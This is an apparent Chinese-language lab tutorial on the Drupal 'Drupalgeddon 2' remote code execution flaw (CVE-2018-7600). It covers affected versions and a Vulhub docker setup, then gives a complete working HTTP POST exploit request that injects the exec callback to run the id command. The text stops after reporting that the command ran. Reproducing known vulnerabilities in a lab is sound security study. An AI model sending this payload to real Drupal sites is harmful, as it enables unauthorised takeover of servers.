Drupal Drupalgeddon 2 远程代码执行漏洞(CVE-2018-7600)
一、漏洞介绍
2018年3月28日,Drupal官方发布新补丁和安全公告,宣称Drupal 6,7,8等多个子版本存在远程代码执行漏洞,攻击者可以利用Drupal网站漏洞,执行恶意代码,导致网站被完全控制。
漏洞影响范围:
截止2018年3月29日,还未有公开PoC
Drupal 6.x版本
Drupal 7.x版本
Drupal 8.x版本
二、漏洞危害
远程代码执行。
三、漏洞验证
环境搭建:
实验环境 | 系统 | IP地址 |
---|---|---|
攻击机 | win10 | 192.168.18.7 |
靶机 | win10 | 192.168.18.7:8088 |
这里我使用Vulhub搭建环境:
执行如下命令启动drupal 8.5.0的环境:bash docker-compose up -d
环境启动后,访问
http://your-ip:8088/
(这里我修改了配置文件,默认是8080端口)
将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
安装成功后如图所示:
PoC1:
我们向安装完成的drupal发送如下数据包:
该POC仅可执行
whoami
,id
等少量命令。
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8088
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
成功执行代码,这个代码最终执行了id命令: